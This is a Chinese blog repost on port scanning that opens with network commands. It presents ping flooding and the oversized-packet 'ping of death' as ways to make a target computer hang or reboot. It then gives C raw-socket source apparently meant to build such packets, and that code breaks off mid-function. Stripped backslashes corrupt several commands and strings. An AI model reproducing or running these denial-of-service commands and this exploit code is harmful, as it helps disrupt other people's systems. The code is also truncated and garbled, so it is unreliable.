2024年4月6日发(作者:)
端口扫描程序的原理
2011-04-22 12:27:08| 分类: 网络黑客技术攻防 | 标签:端口扫描程序的原理 |字
号 订阅
之前我独孤九剑一直在找关于扫描器原理的文章,现在终于给我找到了一篇,特
别是下面那个关于扫描原理的那部分,很强大。给大家分享一下啦!
一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端
口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以
用端口扫描软件进行。
在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件
进行扫描时,许多扫描器软件都有分析数据的功能。
通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。
下面首先介绍几个常用网络命令,对端口扫描原理进行介绍,然后提供一个简单的扫
描程序。
第一节 几个常用网络相关命令
Ping命令经常用来对TCP/IP网络进行诊断。通过目标计算机发送一个数据包,让它
将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING
命令成功了。通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数
据包从发送到返回需要多少时间。
Ping命令的基本格式:
ping hostname
其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
C:> ping -f
这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95
的计算机上,使用下面的方法:
c:windowsping -l 65510 saddam_hussein'
这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个
巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。
在Linux计算机上,可以编写一个程序来实现上述方法。
#include < stdio.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < netdb.h>
#include < netinet/in.h>
#include < netinet/in_systm.h>
#include < netinet/ip.h>
#include < netinet/ip_icmp.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostnamen", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown hostn", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %sn", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;


发布评论